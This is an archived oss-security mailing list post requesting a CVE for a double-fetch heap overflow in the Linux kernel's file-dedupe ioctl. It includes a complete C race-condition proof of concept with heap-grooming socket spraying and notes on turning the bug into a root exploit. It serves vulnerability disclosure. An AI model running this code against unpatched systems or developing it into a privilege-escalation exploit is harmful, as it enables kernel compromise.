Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 31 Jul 2016 15:25:20 -0600
From: Scott Bauer <sbauer@...donthack.me>
To: oss-security@...ts.openwall.com
Subject: CVE Request: Linux >= 4.5 double fetch leading to heap overflow

Good afternoon,

For Mitre:

Some code was moved from btrfs to the generic vfs ioctl:
(https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/fs/ioctl.c?h=v4.5&id=54dbc15172375641ef03399e8f911d7165eb90fb).

During the port a double fetch with userland was introduced which can lead to an undersized allocation and subsequent heap overflow
with potentially controlled data. It has been patched in upstream here:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=10eec60ce79187686e052092e5383c99b4420a20


For OSS-sec:

attached is a PoC. I attempted to write an exploit for this but that's not really my forte. I feel like this bug
has the potential for a workable user->root exploit but I couldn't do it.

1: You can control which cache the overflow happens on. I picked the same cache as the File struct.
2: the code writes 2 different width zeros past the allocation, one 32 bit and the other 64 bit.
3: I attempted to overflow and write the 32 bit 0 to the top half of a pointer so it would point to userland,
but I couldn't find a suitable structure to overflow into.

So if anyone plays around with this and gets a workable exploit please share the details as I'm looking to expand my exploitation knowledge, and techniques.


Thank you,
--Scott

For the poc:
gcc -pthread doublefetch.c
./a.out 7 65534 1000000 0



#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>



static const char* file_path = "/tmp/test.txt";
static const char* file_path2 = "/tmp/test2.txt";

typedef int64_t __s64;
typedef int32_t __s32;
typedef uint64_t __u64;
typedef uint16_t __u16;
typedef uint32_t __u32;

struct file_dedupe_range_info {
	__s64 dest_fd;          /* in - destination file */
	__u64 dest_offset;      /* in - start of extent in destination */
	__u64 bytes_deduped;    /* out - total # of bytes we were able */
	__s32 status;           /* out - see above description */
	__u32 reserved;         /* must be zero */
};

/* from struct btrfs_ioctl_file_extent_same_args */
struct file_dedupe_range {
	__u64 src_offset;       /* in - start of extent in source */
	__u64 src_length;       /* in - length of extent */
	__u16 dest_count;       /* in - total elements in info array */
	__u16 reserved1;        /* must be zero */
	__u32 reserved2;        /* must be zero */
	struct file_dedupe_range_info info[0];
};

#define FIDEDUPERANGE   _IOWR(0x94, 54, struct file_dedupe_range)

volatile static int trigger = 0;
volatile static int trigger1 = 0;
volatile static int stop = 0;
volatile uint16_t wew;
static unsigned int stupid_hack = 1;
static void *size_change(void *addr)
{
	struct file_dedupe_range *range = addr;

	while(!stop) {
		trigger1 = 1;
		while (trigger == 0 ) { }
		usleep(stupid_hack);
		range->dest_count = wew;
		stupid_hack++;
		if(stupid_hack > 100000)
			stupid_hack = 1;
		trigger1 = 0;
	}
}



int main(int argc, char **argv)
{
	int fd, fd2, i, counter;
	struct file_dedupe_range *range;
	pthread_t race_car;

	int fds[100];
	int num = atoi(argv[1]);
	int loop = atoi(argv[3]);
	wew = atoi(argv[2]);
	stupid_hack = atoi(argv[4]);
	fd = open(file_path, O_RDWR | O_CREAT);
	fd2 = open(file_path2, O_RDWR | O_CREAT);

	if (fd < 0) {
		printf("Failed to open %s with error %s\n", file_path,
		       strerror(errno));
		return EXIT_FAILURE;
	}

	range = malloc(sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);
	memset(range, 0, sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);

	if (!range) {
		printf("Failed to alloc mem, exiting\n");
		close(fd);
		return EXIT_FAILURE;
	}

	range->dest_count = num;
	range->src_offset = 0;
	range->src_length = 65535+4096+4096;
	for (i = 0; i < num; i++)
		range->info[i].dest_fd = fd2;

	//write(fd, file_path, 4);
	sync();

	pthread_create(&race_car, NULL, size_change, range);
	for (counter = 0; counter < loop; counter++) {
		for (i = 0; i < 100; i++) {
			fds[i] = socket(AF_INET, SOCK_STREAM, 0);
			if (fds[i] < 0) {
				printf("Failed to open socket #%d\n", i);
			}
		}
			

		while(trigger1 != 1) { }
		trigger = 1;
		asm volatile("sfence");
		close(fds[50]);
		close(fds[51]);
		ioctl(fd, FIDEDUPERANGE, range);
		//printf("ioctl done with %s\n", strerror(errno));
		trigger = 0;
		while(trigger1 == 0) { }
		range->dest_count = num;
		for (i = 0; i < 100; i++)
			close(fds[i]);
	}
	stop = 1;
	pthread_join(race_car, NULL);

}


[ CONTENT OF TYPE application/pgp-signature SKIPPED ]

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ